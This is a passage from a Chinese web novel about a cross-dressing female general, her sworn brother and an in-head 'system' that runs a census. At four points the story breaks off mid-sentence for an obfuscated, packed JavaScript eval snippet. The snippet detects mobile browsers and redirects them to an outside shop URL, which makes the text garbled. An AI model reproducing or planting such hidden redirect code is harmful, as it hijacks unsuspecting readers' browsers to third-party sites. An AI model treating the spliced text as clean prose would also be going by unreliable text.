姜六航喉咙瞬间又干又涩,眼前浮现出爹娘被血浸透的身体,隐约间又听见杨承得意猖狂的大笑。 “没有。”她艰难地开口,“爹娘只是,城破时,没能逃掉的,普通百姓。” 秦信没再多问,他起身走过去,环住姜六航的肩,另一只手在她背上安抚地一下一下拍着,声音低沉柔和:“想哭就哭吧。大哥面前,还怕害羞么?” 姜六航倚在他怀里,听到这一句,听着紧贴着的胸膛里“砰砰”的心跳,她忽然就忍不住了,眼泪汹涌而出。 看到爹娘的尸身时,她没哭。 抛下爹娘的尸身逃出杨承的大军时,她没哭。 万夫所指,鄙夷谩骂时,她没哭。 忍受每半年一次的剧痛折磨时,她没哭。 可是此时,被人小心翼翼地揽着,感受到他真诚的怜惜,憋了五年的眼泪一齐涌出来。 她紧紧抓住这人胸前的衣襟,将脸深深埋进去。 一边哭着,她一边在脑海里命令:“不准看,不准听,不准说话。” 眼泪浸入衣裳,那处的皮肤滚烫,像燃了一把火,炙烤着皮肤。 心脏像被拧成一团,生生地疼。 秦信的手臂紧了紧,又克制地收住力量。 他沉默着,垂下眼睫,遮住眸中翻涌的暗色。 —— 天色朦胧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659687|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮时,姜六航睁开眼。 愣了一会,她猛地拉起被子蒙住头。 太丢人了! 昨天她哭得唏哩哇啦,眼泪、鼻涕、油渍全部蹭到大哥衣裳上。她那时扫了一眼,大哥胸前的那处乱糟糟的,各种污迹,惨不忍睹。 痛痛快快地哭了一场后,大哥给她擦脸,还想给她换衣,被她推开了。 她自己换了衣裳,上床睡了。 一觉睡到现在。 她摸了摸眼。 没肿。 哭得那样厉害,却没肿。 昨晚上床后,大哥一直用热毛巾给她敷眼,又拿鸡蛋在她眼皮上滚。 姜六航怔怔出神。 她仿佛还能感觉到那靠着的坚实胸膛的触感,听到那沉稳有力的心跳,以及……大哥指尖拂过她眼睑时,那略微粗糙又温柔的触感。 —— 姜六航起床,一边在脑海里问:“昨晚你听了吗?看了吗?” “没有、没有!”999急声道,“宿主下了命令,程序就自动给宿主打了码,统看不到,也听不到。” 姜六航嘴角勾起一个满意的弧度。 “现在天下还未稳定,你们为何要在这时进行人口普查?这数据能准确吗?”她穿着衣裳,不解地问。 999:“本统要统计的,正是天下初定这一特定历史节点下的人口情况。” 出到门外,深秋的寒气袭来,整个军营笼罩在一片朦胧的天光里。 两个近卫过来,小心翼翼地觑着她的脸色:“将军。” 姜六航脸上有些发热。 他们肯定听到了她昨晚在哭。 姜六航扬起一个笑容,装作昨夜的一切都未曾发生,语音清亮地道:“走,跑步去!” 两个近卫高声应道:“是!”一左一右跑在她的旁边。 999在她脑海里发问:“宿主,我们什么时候去做任务?做完任务,你才可以回家。” 回家? 姜六航抿了抿唇。 她在现代活了十二年,上课之余就是练刀,没有一个交情深厚的朋友。 到了这里,却有了关心她的大哥,亲如兄弟的近卫,可以性命相托的战友。 若是有一日再不能相见,她会很想很想他们吧? 而在那个世界,她已经孑然一身,没有任何牵挂。 迎面,不时有一队队军士迈着整齐划一的步伐跑步经过,沉重的脚步踏在地上,发出沉闷而富有节奏的“嗒嗒”声。他们由跑在最前方的队长带领,一边跑,一边齐声吼出铁骨军的军训口号:“铮铮铁骨,一往无前!护我百姓,卫我河山!” 军营处处回荡着这十六字的口号,直冲云霄。 铁骨军,由和州军扩建而成,其名是她姜六航亲自修改,那口号,也是她亲手拟定。 此时,听着铿锵的口号回荡,一股豪情在她心中升起、激荡,想要留下的愿望前所未有的强烈。 最初,她只是想为爹娘报仇。 如今,她想要和同伴一起,收拾河山,开创盛世! 如果留下,需得解绑系统。 不能彻底掌控的东西,不能留在脑子里。 5. 第 5 章 姜六航没回999“什么时候去做任务”的问话,先打探:“人口普查怎么做?要把吴朝所有人挨个点一遍?那我这双腿,怕是要跑废在路上了,一辈子都完不成任务。” “不会,很容易的。”999道,“本统已规划最优方案,宿主只需到十九处指定地点,统展开广域扫描,就能获得全国人口数目、性别构成、年龄分布的信息。” 广域扫描?一扫一大片? 这能力若用于战场,瞬息之间,敌军虚实、兵力部署,岂非一清二楚? 留下它! 这个念头在脑中滋生,带着巨大的诱惑力。 但下一秒,姜六航深吸一口气,强行将这念头压了下去。 不明来历,不可掌控,在脑子里放个炸弹,她不敢赌。 “宿主,你看,就是这十九个地点。” 随着999话落,姜六航眼前骤然亮起一片柔和而巨大的浅蓝色光幕,足有戏台幕布大小,悬浮于半空。 “嚯!”姜六航瞳孔收缩,饶是她早有心理准备,这凭空显物的手段依旧让她心头剧震。 一幅详尽的吴朝疆域图缓缓铺开,上面有十九个显眼的红色圆圈标志。京畿所在的庆州幅员辽阔,占了三个标志,其它各州都是两个。 恰在此时,一队军士小跑而来,对那横亘在空气中的巨大光幕视若无睹,径直从光幕中穿过,身影毫无阻滞。 “宿主,等你出发的时候,统可以为你实时规划最优路线。”999的声音透着一丝得意,“保证你几个月之内,走遍这十九个地点。” 还能智能导航! 姜六航真有些舍不得这系统了。 任务听着简单,几个月就可完成,果真如此么? 目光扫过光幕,落在右侧三十几步外的马厩,酸腐的草料味和牲畜的气息隐隐飘来。她侧首,对石进道:“去瞧瞧,里面可只有那一个人?” 扫描是否有危害还未可知,可别误伤了无辜之人。 石进领命而去,不多时回转,抱拳道:“将军……” 姜六航抬手止住他后面的话:“确认只有他一人?” 石进:“是。” “999,扫描马厩里的人。” “好!” 在姜六航的视线里,马厩上空毫无征兆地腾起一片微弱的柔光,极淡的青色,瞬间笼罩住目标,又眨眼间消散无踪。 两个近卫显然看不到那情景,毫无反应。 几乎在青光敛去的同时,悬浮的光幕上地图隐去,取而代之的是一个清晰简洁的表格: 姓名:韩东(袁克) 性别:男 年龄:35 身份:未知 姜六航捏捏手指:“999,身份一栏为何未知?你这号称覆盖半州的扫描,连个目标的身份都扫不出?” “宿主别小瞧统!”999声音里颇有些恼羞成怒,“广域扫描精度有限,宿主靠近至二十步内,统开启个体扫描,自然可扫出身份信息!” 姜六航往马厩走去,一边吐槽:“起先还以为你多厉害呢,半年就可统计全国人口信息,原来只是扫个名字性别年纪。” 999愤愤道,“统还只是初级系统,等统完成这个世界的任务就能升级,到时方圆百里之内,都可开启个体扫描!” 说话间到了马厩。 一个穿着粗布短褂的男子正蹲在一匹黑色马旁边,挽着袖子,拿着毛刷用力擦洗马身,听到动静抬头望来。 见到外面站着的三人,他慌忙站起,朝这边迎了几步,大约是想起身上气味不好闻,又赶紧停下,呐呐道:“将军……要骑马吗?” 他面色忠厚,皮肤粗糙,神色拘束,看上去就是一个最普通的马夫。 姜六航随意地摆手:“别管我,你做自己的事去。” 就在这时,999急促尖锐的警报声在她脑中炸响:“宿主、宿主,这人是个细作!” 姜六航抬眼。 面前表格的四列都填满了。 姓名:韩东(袁克) 性别:男 年龄:35 身份:(1)池州军张炎帐下暗探(2)铁骨军马夫 姜六航没多看马夫一眼,仿佛只是路过查看马匹,转身便走,步履从容。 她在想着,要不要把军中的怀疑对象都给系统扫一遍? “……宿主,你怎么不抓他?”999困惑地问。 姜六航漫不经心道:“我留着他钓鱼。” 999:……钓鱼? “沈以贵。”走出二十几步,姜六航转头问,“袁克那边,近日可有异动?” 沈以贵立刻上前半步,靠近姜六航,低声道:“将军,他前天放出一只信鸽,是往池州方向,已被我们拦获,昨天未时三刻,他和军医袁福在营区西北角密谈,说了大约一刻钟的话。” 姜六航语气平静:“再盯七天,如果没有新的人和他接触就收网。” “是!”沈以贵领命。 999反应过来:“宿主,你早知他是细作啊?” 姜六航:“嗯哼。” 999深受打击,陷入自闭。 亏统刚才还得意给宿主抓到细作了呢! —— 这一整天,姜六航想方设法从999那里套话。 不知是机器不懂人心九曲十八弯的算计,还是999当真只有七岁孩子的情商,她套话的过程十分顺利。 她得到以下信息: 穿越者必须符合各项严格条件,才能与系统绑定,亿亿万世界中,能找到这样一个人的世界并不多。 一经绑定,不能换人。只有在完成任务或宿主死亡后,才能解绑。 系统扫描要经过宿主同意才能启动。 系统不能作用于其他人,但可以给宿主提供适当帮助,如短时间提高宿主武力、增强五感等等。 …… 至于是否有穿越者完成任务后没回去,999表示很奇怪:“有强烈愿望想要回归原本世界的穿越者,才会被我们捕捉到呀,怎会不回去呢?” 姜六航默然。 二十年来,哪有不想家的时候? 上辈子,她家是霹雳刀的传人。 爷爷只有一个儿子,她爹又只有一个女儿,爹过世后,传承霹雳刀的责任就落到了她的头上。 爷爷古板严肃,对她尤其严厉,时时督促她练刀,稍有懈怠就要惩罚。她十岁时,爷爷去世,临终前还在叮嘱她,不要浪费自己的天赋,好好练刀。 可是爷爷也会记得,每年都给她买生日蛋糕,在她生病时日夜照顾。 穿越过来后,她十五岁就武艺大成,是因为有前世爷爷给她打下的扎实基础在。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659688|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她不在,爷爷的墓前再无亲人祭扫。 她还想念现代方便的生活,和平的环境,公正的制度…… 可是,如今更多的牵挂、更多的责任是在这里。 999终于回过味来:“宿主,你不想回去?” 系统的声音充满了难以置信的惊惶,“那……统的任务怎么办?任务完不成,还不能解绑!要等到你死掉以后!你现在才二十岁,你又习武,身体好,等你死,怎么也要二三十年吧?说不定还要四五十、五六十年!这么久,呜呜呜——” 姜六航:“……我帮你做任务,完成后你走,我留下,可以吧?” “呃!”哭声戛然而止,紧接着999惊喜万分地道,“可以的可以的!宿主你真好!” 姜六航冷静地追问:“我不走,对我自身是否会有影响?比如,惩罚?或是别的什么不利之处?” “没有没有!绝对没有!”999回答得斩钉截铁,“回原世界本来就是给完成任务的穿越者的一项奖励,放弃怎会惩罚呢?” 姜六航心中最后一丝顾虑也消散得差不多了,盘算了一番,和999约定,最迟一年之内,去进行人口普查。 —— 夜晚,铁骨军中军大帐内烛火摇曳,众首领齐聚一堂,商议战事。 姜六航进去时,帐内原本嗡嗡的议论声霎时一静,二十几道目光齐刷刷扫来,紧接着,满含敬意与亲近的声音此起彼伏:“将军!”——铁骨军中,只称将军而不冠姓者,唯她一人。 姜六航抱拳回应,径直去左侧最前面落座。 她离着上首端坐的人只有一步距离,探身过去。 清新的皂香飘入鼻尖,秦信心中升起一股颤栗的喜悦。 欢喜之余,更是有一种莫名的悸动,他不动声色地蜷了蜷手指。 “大哥,晚饭后没遇到什么意外吧?” 秦信晃了一下神才听清义弟的话,眸中掠过一丝思量。 今天两人中晚餐都在一起,中餐时,六航问他上午可有遇到意外,晚餐时,六航问他下午可有遇到意外。 如今又问他,晚饭后可有遇到意外。 他今天确实遭遇三次致命的意外。 昨晚,六航上床后,一边哭着,一边用带着浓重鼻音的声音反复叮嘱他千万小心。 今天,几次见面,六航都这样叮嘱。 六航……似乎有神异之处。 但六航不说,定是不能说,自己不必问。 他端起茶杯,面带温润笑意,语气平和地低声回道:“没有。放心。” 姜六航吁出一口气,道:“大哥,你一定要小心!多带点近卫,一刻也不能离身!” 迎上义弟关切的目光,秦信郑重颔首:“好,我记下了。” 姜六航满意了,坐直身子。 秦信放下杯子,这声音不大,在满场的喧闹里尤其微弱,可众人都一齐安静下来。 “梁州已下,杨承伏诛,一统天下指日可待,诸位皆功不可没。然越是此刻,越需谨慎。”他目光扫过之处,众将脸上的兴奋和骄矜之色尽皆收敛,“如今除了池州、泉州未下,还有各地残余势力,不可轻视。今日请诸位来,便是议一议,如何分派兵力,尽快平定天下。” 话音一落,帐内炸开了锅! 眼看新朝将立,现下正是抢功劳、博封赏的时候! 6. 第 6 章 “末将只需五千精兵,定能荡平通州匪众!”一员悍将拍案而起,声如洪钟。 “五千?何用五千?我只需三千!”另一人立刻抢道。 “白鲸帮占据兰州河道,使得周边几州交通不畅,祸患无穷,末将请命,率五千精兵剿除!” “末将愿率兵去池州,支援武将军!” “张炎已被武将军打得龟缩在府城,哪用得着支援?倒是泉州的马荣,他原是斩月楼楼主,又是北部的武林盟主,纠集了不少亡命之徒,应将军对付起来只怕有些吃力。末将愿往!” “不用。”姜六航目光扫过请战的将领,“前天从泉州送来的战报,应将军布局已成,马荣早已落入网中,却浑然不觉。说不定这两天就有好消息传来。”她顿了顿,指尖无意识在桌上轻叩,脑中算计着,“兵力,要用在钢刃上,才能最快稳定大局。”那时,抹杀才会停止。 众将互望,不再提支援两州的事。 一直埋首于厚厚账册的迟非晚抬头,缓缓转着手腕上的玉镯,脸上一片愁容:“多处用兵,同时调度?总督,钱粮……恐周转不及!目前存粮仅够三路大军一月之用。” 一旁的姜子循开口:“或可先集中力量,剿灭为首几股大患。其余影响较小者,或暂缓,或以招抚为上,也可分化瓦解,节省消耗。” 他穿着短衣短袍,像是一个普通百姓,刚刚劳作回来,却浑身透出一股儒雅气质。嗓音温和,一听就让人信服,几个武将都连连点头。 喧嚣又持续了一会,上首的秦信终于抬手,轻轻向下压了压,众人顿时住口。 秦信目光落在姜六航身上:“将军意下如何?” 姜六航起身,走向墙上悬挂的巨幅舆图。 众人纷纷跟上,围拢过来。 帐内这么多人,先前吵吵嚷嚷,这时却都屏息凝神,紧盯着她。 在战事上,将军有绝对的权威。总督对将军言听计从,从不驳回将军的决定。 将军出口,便是一锤定音。 姜六航手指在舆图上移动。 “可令一人自北而下,扫清通州、兰州匪患,打通河道。” “再令一人压向顺州。” “另派一人发兵益州。” 说完后,她转向秦信,眉梢轻扬:“总督以为如何?” 秦信幽深的目光始终落在她身上,闻言,眼中暗色退去,现出温煦,毫不犹豫道:“可。请将军分派兵力。”把手上早已端着的一杯温茶递给她。 姜六航正好渴了,接过来,连喝了两大口。喝得急,溢出了茶水一些在唇角,在灯下泛着光泽。 秦信目光在那水渍上定了定,手指微动,克制地移开目光。 姜六航早已习惯大哥的注视,一向敏锐的她对此浑然不觉,声音清亮地道:“唐将军,你率两万精兵前往通州、兰州,务必将白鲸帮连根拔起。” 被点名的唐云一凛,沉声应道:“末将领命!” “严将军,你率两万兵往顺州。稳扎稳打,不可贪功冒进。” 严回声音粗豪:“是!” 姜六航指尖点在梁州,对一名二十来岁的女将道:“裴将军,你在此休整半月,养精蓄锐,半月后,发兵益州。” 裴佑双眼晶亮,响亮地应道:“是!” “总督,请你安排大军粮草。”最后,姜六航转向立在她身边的人。 秦信颔首,对仍在皱眉翻阅账册的女子迟非晚道:“迟大人,先保障唐将军和严将军的军粮,裴将军半月后才开拔,可稍缓。” 又对另两人道,“姜大人、裴大人,你们协助迟大人筹措粮草。” 三人都拱手应是。 —— 铁骨军营整体是个圆形,层层拱卫,秦信的帐篷在最中央。 案头军报堆叠如山,从清晨起,将领、司马、司录、从事、军需官等等,络绎不绝进出,直到快正午时,才渐渐停歇。 最后一名属官躬身退出,秦信揉着发胀的眉心,放下手中的文报,转头问冯简:“将军还没回营?” “还没有。”冯简回道,“属下给沈以贵说过,让他提醒将军来用饭。时辰差不多了,要把饭菜摆上来吗?” 秦信想了想:“等一等,恐怕将军被什么事耽搁了,等他来了再摆饭菜不迟。” 他站起在帐篷里走了几圈,活动坐了一上午的腿脚,状似随意地问:“交代的几样菜,都备下了吧?” 冯简连忙道:“做了,糖醋鲤鱼、熏腊肉、煎豆腐、羊肉汤,都做了,总督放心。” 这几个菜都是将军喜欢吃的,今天一大早总督就特意交代过。 正说着,外面的近卫来报,裴大人求见。 秦信让请进来,两人落座,秦信问:“二叔来此何事?” 裴祥光脸上堆着亲近的笑:“刚才听几位将军议论,说是两月内必能拿下池州、泉州?那年底,咱们是不是就能转到京城了?” 秦信点头,淡声应道:“是。” 裴祥光喜形于色:“那年底总督就可登基,改朝换代了?” 秦信微微颔首。 裴祥光高兴地一拍手:“好!宣德帝已失踪五年,还一直沿用着他的年号,要我说,国不可一日无君,总督早该改朝称帝!” 他高兴完后,又叹了口气,感叹道:“我们裴家居然有如此运道,你爹要是还在,不知多欢喜……” 秦信把茶盏搁在桌上,发出一声脆响。 裴祥光像被掐住了喉咙,笑容僵在脸上,剩下的话生生咽了回去。 他偷眼看去,侄儿脸上惯有的温润笑意已消失无踪,面无表情坐在那儿。 帐内暖炉烧得正旺,裴祥光却无端觉得后背发凉。 他暗暗后悔。 自己真是昏了头,哪壶不开提哪壶! 大哥死之前,侄儿和大哥几近决裂,之后又重新改回母姓。 这个侄儿,表面温润和气,好像很好说话,其实心智幽深,手腕强硬。 侄儿初任总督时,那些仗着资历不把他军令放在眼里的骄兵悍将,可是被他眼都不眨地当众斩了两百多个!血染校场,杀得人头滚滚,也彻底杀出了他秦总督说一不二的赫赫威名。 自那之后,再没人敢不遵侄儿的命令。 自己也是由那一次,才知以前看走了眼。 之前他一直唤侄儿“信儿”,那次之后,他改了口,不管是当着人面,还是私下里,他都规规矩矩地叫侄儿“总督”。 此刻侄儿只是面无表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659689|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情地坐着,他却像被压得喘不过气来。 裴祥光额角渗出冷汗,讪讪道:“总督恕罪,我一时忘形,口不择言。” 他只是不甘,天下明明应该姓裴,而不是姓秦! 可侄儿心中有道坎,只能徐徐图之了。 秦信闭了闭眼,忍下胸中翻涌起的戾气。 罢了,好歹这个叔叔在他少时帮过他,虽然是他算计得来的。 “二叔,还有事吗?”秦信翻开一份军报。 从侄儿的动作和语气,裴祥光领会到侄儿未说出口的意思:没事就赶紧走。 他硬着头皮开口:“是……是有一事。总督,建国之后论功行赏,将军……会封王吗?” 秦信:“以将军的功劳,自当封王。” 他顿了一下,接着道:“当封为一品亲王,世袭罔替。” “世袭罔替?”裴祥光大惊,脱口道:“可先前总督不是定下新朝所有爵位都降等承爵吗?”话一出口,他便意识到自己语气太冲,竟像是在质问,连忙住口。 秦信抬眼,淡淡扫了他一下,没说话,端起茶杯喝了一口。 热气萦绕在他的眉眼间,那深潭般的眸底,也似有暗流翻涌。 他想要自己的王朝和义弟的王号长长久久相伴。 有他的王朝一日,就有义弟的王号在。 可是想到义弟娶妻生子,绵延后代,他又难以压制心中的戾气,一股血气直冲上头顶。 裴祥光不知他平静表面下心中翻涌的情绪,只是见他对将军如此恩宠,更加坚定了此行的决心。 “总督。”他倾身过来。 秦信皱眉,往椅后靠了靠。 裴祥光没察觉,他低着头,压低声音道:“将军已经二十,若不是这些年的战事耽搁,早该娶妻了。大丫头和将军同岁,年龄相当。将军对大丫头,似乎也有好感。总督您看,可否在将军面前,提一提这桩亲事?” 虽是疑问的语气,他却不以为侄儿不答应。 大丫头可是总督的堂妹。 总督如此看重将军,把自家堂妹嫁过去,关系不更近了吗? “咔!” 一声细微却清晰的破裂声突兀响起。 裴祥光悚然一惊,循声看去,只见侄儿手中那茶杯的杯壁,竟生生被捏出了一道裂痕! 茶水从缝隙中渗出,滴落到侄儿膝上,把那处的衣裳染出一片深色的湿痕。 裴祥光骇然抬头,撞进侄儿眼中。 那里一片阴鸷,像刀剑般直直刺过来。 裴祥光如坠冰窟,浑身血液都冻住了。 再一晃眼,里面的狠厉退去,现出惯常的温煦,仿佛先前只是他的错觉。 秦信把茶杯放到桌上,有水透出来,沾湿军报。 “将军的私事,我从不插手。”他声音中听不出什么情绪,“二叔若有意,自去和将军说。” 裴祥光半张着嘴,不敢相信侄儿当面睁眼说瞎话。 不管? 侄儿对将军的事,事无巨细,哪样不管?! 衣食住行,样样关心——虽然只是为了笼络这绝世帅才,让他为自家卖命。 他正要再说,外面突然传来将军清亮的声音:“大哥,吃午饭了吗?” 7. 第 7 章 姜六航走进帐篷,裴祥光热情地迎上前来:“将军回来了?巡营辛苦了!将军快请坐,喝口热茶暖暖。”他殷勤地将一杯未动的茶捧上。 姜六航有些不好意思地接过:“裴大人客气了。” 两人各自落座。 裴祥光眼见帐内再无旁人,侄儿也在侧,机不可失,于是堆起满脸笑,凑近姜六航,压低声音道:“将军……” “冯简!”秦信提高声音朝门外道,“摆饭。” 裴祥光的话被打断。 近卫们鱼贯而入,饭菜的香气瞬间弥漫开来。姜六航深吸一口气,眼睛发亮,目光不自觉落到桌上,又艰难地挪回来:“裴大人,您刚才想说什么?” 裴祥光看着进出的近卫,以及将军那显然已被美食勾走的心神,再看看侄儿垂眸理袖,仿若漠不关心他将提之事的侧脸,只得把满肚子的话咽了回去,讪讪道:“……没什么,就是问问将军可曾用过饭。” 姜六航展颜一笑:“没呢,正等着和大哥一起。裴大人用过了吗?没吃就一起啊。” 裴祥光飞快瞥了侄儿一眼,对方毫无挽留之意,他识趣地起身:“谢将军美意,我已经用过了。”说罢匆匆告辞。 待裴大人出去,姜六航到桌边坐下,发现都是自己喜欢吃的菜,“哇”了一声,赶紧埋头干饭。她运动量大,这时是真饿了。 秦信舀了一碗热气腾腾的羊肉汤,轻轻推到她面前:“慢些吃。”看着义弟被热气熏得微红的脸颊,他喉头微微一动,哑声道:“年底我登基,会封你为王。晚些让匠人来为你量量尺寸,做几套王袍。” 姜六航从碗里抬起头,双眼晶亮:“封我做王爷?” “凭你的功勋,足以担得。”秦信唇边漾开温和的笑意,“想要什么封号?自己先想想。” “想好了!”姜六航几乎不假思索,脱口而出,“就叫衡王!衡量的衡,杜衡的衡!” 秦信微微一怔,随即失笑。这速度……他很怀疑,义弟只是随便抓住了脑子里闪过的一个字。 罢了,只要义弟喜欢。何况,杜衡有君子、贤人的寓意,是个好字。 “好,便是衡王。”他目光流连在义弟英气的眉眼间,指尖在袖中悄然收紧,指甲深深陷进掌心,带来一丝锐痛,才勉强压住心头的躁动。 义弟若是知道他的念头,会狠狠揍他一顿吧? 他垂下眼,看着桌上的碗盘,声音低沉下去:“这些年征战,耽误了你的婚事。等局势稳定,也该考虑……娶妻成家了。” “噗——咳咳咳……” 姜六航一口汤呛在喉咙里,猛地扭过头,剧烈地咳嗽起来,脸颊憋得通红。 秦信愕然,立刻起身,几步跨到她身边,一手轻拍她的背,一手递过自己的素帕,语气带着关切:“慢点!怎么这样不小心?” 姜六航咳得眼泪都出来了,接过帕子胡乱擦着,心中一阵电闪雷鸣。 一直想的,都是怎么尽快杀掉势力庞大的仇敌,没顾得上多想之后的事,她竟差点忘了,在世人的眼里,她是一个男子! 当初假扮男子身份,只因不得已,也因方便,可是她不能娶妻啊! 大哥管她的衣食住行,如今还管起她娶妻了! 大哥自己都没娶妻呢,就先管着她了。 姜六航站起,一把抓住秦信的胳膊:“那王袍,先别急着做。” 秦信微怔:“为何?” 姜六航寻了个借口:“我……我想想怎么把王袍做得更威风些。过几日,过几日再做。” 秦信看着义弟强自镇定的模样,虽觉有异,却仍是纵容地点头:“好,依你。你想如何做,都行。” 王袍向来自有规制,但无妨,任何迂腐之言,以及非议,他都会挡下。 他的义弟,想穿什么便穿什么,想怎么穿便怎么穿。 面前人眼中温和纵容的笑意,让姜六航心里暖洋洋的。 大哥一向如此,不管她说什么,做什么,都全力支持。 “尺寸的事,等定下样式再说。”她补充道,努力让自己的声音听起来自然。以往衣物尺寸都是她自己报的,但王袍……必须由匠人来量,确保完美合身。 秦信目光下意识扫过义弟的身体。 义弟常年习武,身材匀称,肩背挺直,像挺拔的劲松,腰际处透着柔韧,身高刚刚好,将将到他的下巴处,微微仰头便能对上他的视线。 他迅速垂眸,掩去眼底翻涌的暗流,应道:“好。” “还有,”姜六航生怕这人行动力太强,等会就给她找了一个女子来,连忙嘱咐,“大哥,我不娶妻,这事,你别瞎忙乎。” 秦信喉咙发紧,声音低哑地道:“男大当婚……” 姜六航知道大哥误会了,以为她只是推脱。但现在解释不清,也无须多解释。 她想好了,现在没必要再假扮男子,过了今晚,做完那件事,明天,明天她就告诉大哥和铁骨军众人她的女子身份。 “反正,我不娶。”她语气斩钉截铁道,“要娶大哥你先娶。” 秦信动了动唇,没说出话来。 —— 下午申时正,秦信检视完一批损毁的兵器,大步流星地走出来。 秋风卷过来,扑在脸上,带着寒意和细尘。 秦信眯了眯眼,侧头对紧跟在侧的姜子循沉声交代:“能修的修,不能修的即刻熔了重铸。缺口报上来,我去筹措生铁。要快!战事不等人。库中必须时刻备着替换的兵器。另外,前日新造的那批,今日务必全部发到缺了兵刃的军士手中。” “是!总督放心!”姜子循连连点头。 就在此时,一阵响亮的喝彩与叫嚷声传来。 秦信脚步微顿,脸上却神色不变,极其自然地调转方向:“走那边。” 姜子循身形一晃,恰好挡住他的去路,脸上带着真诚的疑惑:“总督,那边要绕个大圈子,为何舍近求远?” 跟着的近卫们互相递了个眼色,默契地挪动脚步,无声地聚拢在姜子循身侧,将那条“远路”堵得严严实实。 秦信被挡住去路,停下脚步,瞪着这群不怀好意的下属:“你们就这么想看我挨揍?” 几人被揭破,都眼神飘忽,纷纷道:“哪里,哪里,总督误会了。” 可他们闪烁的眼神分明在说:对,就是想看! 每次将军练兵,只要撞上总督,总要点名让总督下场切磋。 总督那点功夫,对付一般人尚可,在将军面前……实在不够看。偏偏将军平日尊敬总督,切磋时下手却从不留情。 将军总是说:“挨打多了,才知怎样避开要害,拖延时间,撑到援兵赶来。” 此时,秦信对这些人看热闹的意图心知肚明,他沉下脸:“让开!军务要紧,休得胡闹!” 几人互望一眼,不敢再拦,悻悻然让开道路。 可惜,迟了! “总督来了!”那头不知是谁,忽然一声高喊,满是兴奋。 更多声音加入,带着善意的调侃,以及毫不掩饰的雀跃。 “将军!总督来了!” 那言下之意在场的每一个人都清楚:将军,快!揍总督一顿! 围成圆圈的人群如潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16659690|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水般向两侧分开,让出一条通道。 场地中央,姜六航身姿挺拔如松,平举着霹雳刀。 秋风猎猎,拂动她的衣裳。 那亮得惊人的杏眼直直望过来,落在这边中间的人身上,嘴角扬起张扬的弧度:“大哥,来!” 无数道目光聚焦在秦信身上,军士们山呼海啸:“总督!来!来!来!” 秦信深吸一口气,接过冯简递来的刀,脸上重新挂上温润的笑,径直阔步走向场中空地。 走到近前,也不废话,直接一刀劈过去。 “锵——!” 两刀相击,一股浩然内力顺着刀身传来,秦信整个人不受控制地“蹬蹬蹬”连退三步才勉强站稳,赶紧摆出最稳固的守势,横刀在胸前。 这是和义弟交手,无数次血泪教训换来的本能反应。 显露败像时,千万不能手忙脚乱,否则死得更快。 得先守住要害。 姜六航连击三刀,分别指向他的胸口、腹部、脖颈,秦信连连后退,但到底挡了回去。第四刀紧随而至,直劈他右肩,他侧身躲过,却不料姜六航一脚飞起,踢在他的腰上。 秦信扑倒在地,却没松开刀柄,仍然紧紧握着,就势一滚,咬牙想要起身。 姜六航一步跨过来,膝盖压住他的腹部,连着拿刀的手也压住。 姜六航右手把霹雳刀拄在地上,左臂横在秦信的胸口,手扣住他的喉咙:“服不服?” 秦信左手摸到一块石头,猛地扬手朝姜六航面门袭去。 以义弟的敏捷,这下肯定打不着,但只要他分神躲闪,自己就有机会掀开他。 姜六航眼眨也未眨,扣着秦信喉咙的手纹丝不动,只持刀的右腕翻转,“啪——”霹雳刀背击在秦信手臂上,顺势压到地面上。 秦信手中扣着的石头脱出,滚落一旁。 “服不服?”姜六航再问,收紧扣着喉咙的力道。 秦信仰头,视线从下而上望去,入目是义弟光洁的下巴,再往上是一张眉目疏朗的脸,一双杏眼里满是戏谑的笑意。几颗汗珠从额头滚下,落在下巴处,欲坠不坠。 他吞了口唾沫,喉结滑过姜六航的指腹。 周围军士兴奋地喊:“将军威武!” “总督,你服不服?服不服?” 姜六航稍稍放松力道,让他说话。 “服。”秦信道。 姜六航一笑,松开手,拉他起身:“挡了四招,有进步。” 大哥身边近卫不离身,即使遇到出其不意的突袭、暗杀,只要能挡住刺客开头的几招,近卫就能赶到。 能挡她的四招,应付一般高手十招不成问题。 